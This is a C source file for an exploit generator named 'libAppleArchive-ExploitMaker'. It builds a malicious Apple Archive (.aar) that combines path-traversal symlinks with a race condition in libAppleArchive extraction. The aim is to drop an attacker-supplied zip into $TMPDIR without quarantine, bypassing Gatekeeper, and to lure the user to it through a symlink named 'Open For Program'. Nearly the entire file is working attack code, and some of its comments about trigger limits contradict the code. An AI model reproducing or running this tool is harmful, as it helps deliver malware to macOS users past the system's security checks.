libAppleArchive-ExploitMaker/main.c
//
//  main.c
//  libAppleArchive-ExploitMaker
//
//  Created by Snoolie Keffaber on 2024/04/24.
//

#include <stdio.h>
#include <libNeoAppleArchive/libNeoAppleArchive.h>
#include <getopt.h>

#define OPTSTR "i:t:"

/* Copied from my shortcut-sign project bc im lazy */
__attribute__((visibility ("hidden"))) static uint8_t *load_binary(const char *signedShortcutPath, size_t *binarySize) {
    /* load AEA archive into memory */
    FILE *fp = fopen(signedShortcutPath,"rb");
    if (!fp) {
        fprintf(stderr,"shortcut-sign: load_binary could not open path\n");
        return 0;
    }
    fseek(fp, 0, SEEK_END);
    size_t _binarySize = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    uint8_t *aeaShortcutArchive = malloc(_binarySize);
    size_t n = fread(aeaShortcutArchive, 1, _binarySize, fp);
    fclose(fp);
    if (n != _binarySize) {
        fprintf(stderr,"shortcut-sign: load_binary could not read entire file\n");
        free(aeaShortcutArchive);
        return 0;
    }
    if (binarySize) {
        *binarySize = _binarySize;
    }
    return aeaShortcutArchive;
}

/*
 * The Gatekeeper-bypassed ZIP will be in $TMPDIR, so we place a symlink to it in the directory.
 * We do write to there without knowing $TMPDIR, but we want to direct the user to the bypassed file.
 * This needs to be changed per $TMPDIR sadly for attacker.
 *
 * com.apple.fileprovider.ArchiveService for Monterey.
 * com.apple.desktopservices.ArchiveService for Sonoma.
 */

NeoAAArchiveItem create_entry_dir(void) {
    NeoAAHeader header = neo_aa_header_create();
    uint32_t typKey = NEO_AA_FIELD_C("TYP");
    neo_aa_header_set_field_uint(header, typKey, 1, 'D');
    char *entryDirectory = "Output-FT-Symlinks";
    neo_aa_header_set_field_string(header, NEO_AA_FIELD_C("PAT"), strlen(entryDirectory), entryDirectory);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("UID"), 2, 0x1F5);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("GID"), 1, 0x14);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("MOD"), 2, 0x1ED);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("FLG"), 1, 0);
    NeoAAArchiveItem entryDirItem = neo_aa_archive_item_create_with_header(header);
    return entryDirItem;
}

NeoAAArchiveItem create_entry_subdir(void) {
    NeoAAHeader header = neo_aa_header_create();
    uint32_t typKey = NEO_AA_FIELD_C("TYP");
    neo_aa_header_set_field_uint(header, typKey, 1, 'D');
    char *entryDirectory = "Output-FT-Symlinks/.secretDirectory";
    neo_aa_header_set_field_string(header, NEO_AA_FIELD_C("PAT"), strlen(entryDirectory), entryDirectory);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("UID"), 2, 0x1F5);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("GID"), 1, 0x14);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("MOD"), 2, 0x1ED);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("FLG"), 1, 0);
    NeoAAArchiveItem entryDirItem = neo_aa_archive_item_create_with_header(header);
    return entryDirItem;
}

NeoAAArchiveItem create_evil_symlink(char *maliciousSymlinkPath, size_t maliciousSymlinkPathSize) {
    NeoAAHeader symlinkToArbitraryPathHeader = neo_aa_header_create();
    uint32_t typKey = NEO_AA_FIELD_C("TYP");
    neo_aa_header_set_field_uint(symlinkToArbitraryPathHeader, typKey, 1, 'L');
    neo_aa_header_set_field_string(symlinkToArbitraryPathHeader, NEO_AA_FIELD_C("PAT"), maliciousSymlinkPathSize, maliciousSymlinkPath);
    char *escapedPath = "../../../../";
    neo_aa_header_set_field_string(symlinkToArbitraryPathHeader, NEO_AA_FIELD_C("LNK"), strlen(escapedPath), escapedPath);
    neo_aa_header_set_field_uint(symlinkToArbitraryPathHeader, NEO_AA_FIELD_C("UID"), 2, 0x1F5);
    neo_aa_header_set_field_uint(symlinkToArbitraryPathHeader, NEO_AA_FIELD_C("GID"), 1, 0x14);
    neo_aa_header_set_field_uint(symlinkToArbitraryPathHeader, NEO_AA_FIELD_C("MOD"), 2, 0x1ED);
    neo_aa_header_set_field_uint(symlinkToArbitraryPathHeader, NEO_AA_FIELD_C("FLG"), 1, 0);
    NeoAAArchiveItem evilSymlinkItem = neo_aa_archive_item_create_with_header(symlinkToArbitraryPathHeader);
    return evilSymlinkItem;
}

NeoAAArchiveItem create_hopefully_will_be_raced_file(uint8_t *data, size_t dataSize, char *maliciousSymlinkPath, size_t maliciousSymlinkPathSize) {
    NeoAAHeader header = neo_aa_header_create();
    uint32_t typKey = NEO_AA_FIELD_C("TYP");
    neo_aa_header_set_field_uint(header, typKey, 1, 'F');
    uint8_t *evilFileContents = data;
    size_t evilFileContentsSize = dataSize;
    const char *evilFileToSavePath = "/file.zip";
    size_t evilFileToSavePathSize = strlen(evilFileToSavePath);
    size_t entryDirectorySize = maliciousSymlinkPathSize + evilFileToSavePathSize;
    char *entryDirectory = malloc(entryDirectorySize);
    strncpy(entryDirectory, maliciousSymlinkPath, maliciousSymlinkPathSize);
    strncpy(entryDirectory + maliciousSymlinkPathSize, evilFileToSavePath, evilFileToSavePathSize);
    neo_aa_header_set_field_string(header, NEO_AA_FIELD_C("PAT"), entryDirectorySize, entryDirectory);
    free(entryDirectory);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("UID"), 2, 0x1F5);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("GID"), 1, 0x14);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("MOD"), 2, 0x1ED);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("FLG"), 1, 0);
    neo_aa_header_set_field_blob(header, NEO_AA_FIELD_C("DAT"), 2, evilFileContentsSize);
    NeoAAArchiveItem evilFile = neo_aa_archive_item_create_with_header(header);
    neo_aa_archive_item_add_blob_data(evilFile, (char *)evilFileContents, evilFileContentsSize);
    return evilFile;
}

NeoAAArchiveItem *create_race_triggers(uint8_t *data, size_t dataSize, uint8_t spamTrigger, int otherItems) {
    /*
     * There is a 15% chance libAppleArchive will race with itself.
     * So, we just paste the exploit a bunch in the .aar so it keeps retrying.
     * One of the retries is likely to work.
     */
    if (spamTrigger > 58) {
        fprintf(stderr,"exploit maker: we don't support running the exploit more than 26 times\n");
        return 0;
    }
    if (!spamTrigger) {
        fprintf(stderr,"exploit maker: you have set to create an aar that will run exploit 0 times\n");
        return 0;
    }
    NeoAAArchiveItem *items = malloc(sizeof(NeoAAArchiveItem) * (2 + (spamTrigger * 2) + otherItems));
    /* maliciousSymlinkPath will point to a arbitrary path on fs */
    char *maliciousSymlinkPathConst = "Output-FT-Symlinks/.secretDirectory/symlinkheheheheh";
    size_t maliciousSymlinkPathSize = strlen(maliciousSymlinkPathConst);
    char *maliciousSymlinkPath = malloc(maliciousSymlinkPathSize);
    strncpy(maliciousSymlinkPath, maliciousSymlinkPathConst, maliciousSymlinkPathSize);
    for (int i = 0; i < spamTrigger; i++) {
        int itemListIndex = (i * 2) + 2;
        /* a - z of the alphabet */
        maliciousSymlinkPath[42] = 'A' + i;
        items[itemListIndex] = create_evil_symlink(maliciousSymlinkPath, maliciousSymlinkPathSize);
        items[itemListIndex + 1] = create_hopefully_will_be_raced_file(data, dataSize, maliciousSymlinkPath, maliciousSymlinkPathSize);
    }
    free(maliciousSymlinkPath);
    return items;
}

NeoAAArchiveItem create_tmpdir_symlink(const char *tmpDir) {
    /* Create the symlink that will direct the user to where our malicious quarantine-bypassed zip will be */
    NeoAAHeader header = neo_aa_header_create();
    if (!header) {
        printf("Not enough memory to write exploit .aar\n");
        return NULL;
    }
    uint32_t typKey = NEO_AA_FIELD_C("TYP");
    neo_aa_header_set_field_uint(header, typKey, 1, 'L');
    neo_aa_header_set_field_string(header, NEO_AA_FIELD_C("PAT"), strlen("Output-FT-Symlinks/Open For Program"), "Output-FT-Symlinks/Open For Program");
    char *dotNotation = "../../../../../../../../../../../../../../../../../../../../..";
    char *pathToNoGatekeeperZip = malloc(strlen(dotNotation) + strlen(tmpDir) + 1);
    memset(pathToNoGatekeeperZip, 0, strlen(dotNotation) + strlen(tmpDir) + 1);
    strcpy(pathToNoGatekeeperZip, dotNotation);
    strncpy(pathToNoGatekeeperZip + strlen(dotNotation), tmpDir, strlen(tmpDir));
    neo_aa_header_set_field_string(header, NEO_AA_FIELD_C("LNK"), strlen(pathToNoGatekeeperZip), pathToNoGatekeeperZip);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("UID"), 2, 0x1F5);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("GID"), 1, 0x14);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("MOD"), 2, 0x1ED);
    neo_aa_header_set_field_uint(header, NEO_AA_FIELD_C("FLG"), 1, 0);
    return neo_aa_archive_item_create_with_header(header);
}

void write_exploit(uint8_t *data, size_t dataSize, const char *outputPath, const char *tmpDir) {
    NeoAAArchiveItem entryDirItem = create_entry_dir();
    NeoAAArchiveItem entrySubdirItem = create_entry_subdir();
    /* number of times to attempt to trigger exploit. 1-26 range. */
    int triggerCount = 58;
    NeoAAArchiveItem *items = create_race_triggers(data, dataSize, triggerCount, 1);
    items[0] = entryDirItem;
    items[1] = entrySubdirItem;
    int itemListCount = (triggerCount * 2) + 3;
    NeoAAArchiveItem item = create_tmpdir_symlink(tmpDir);
    if (!item) {
        printf("Not enough memory to write exploit .aar\n");
        return;
    }
    items[itemListCount - 1] = item;
    NeoAAArchivePlain plainArchive = neo_aa_archive_plain_create_with_items(items, itemListCount);
    /* our itemList was copied to the plainArchive, free old one */
    neo_aa_archive_item_list_destroy(items, itemListCount);
    printf("writing evil .aar to file via neo_aa_archive_plain_compress_write_path...\n");
    neo_aa_archive_plain_compress_write_path(plainArchive, NEO_AA_COMPRESSION_LZFSE, outputPath);
    neo_aa_archive_plain_destroy(plainArchive);
}

int main(int argc, const char * argv[]) {
    printf("start\n");
    if (argc < 2) {
        printf("specify file.zip via -i\n");
        printf("TMPDIR can also be specified via -t\n");
        return 0;
    }
    char *inputPath = NULL;
    char *tmpDir = NULL;
    /* Parse args */
    int opt;
    while ((opt = getopt(argc, (char* const *)argv, OPTSTR)) != EOF) {
        if (opt == 'i') {
            inputPath = optarg;
        } else if (opt == 't') {
            tmpDir = optarg;
        }
    }
    if (!inputPath) {
        printf("specify file.zip via -i\n");
        printf("TMPDIR can also be specified via -t\n");
        return 0;
    }
    if (!tmpDir) {
        printf("No TMPDIR specified, please use -t\n");
        return 0;
    }
    size_t dataSize;
    uint8_t *data = load_binary(inputPath, &dataSize);
    if (data) {
        write_exploit(data, dataSize, "/tmp/out-exploit.aar", tmpDir);
    }
    free(data);
    printf("end\n");
    return 0;
}
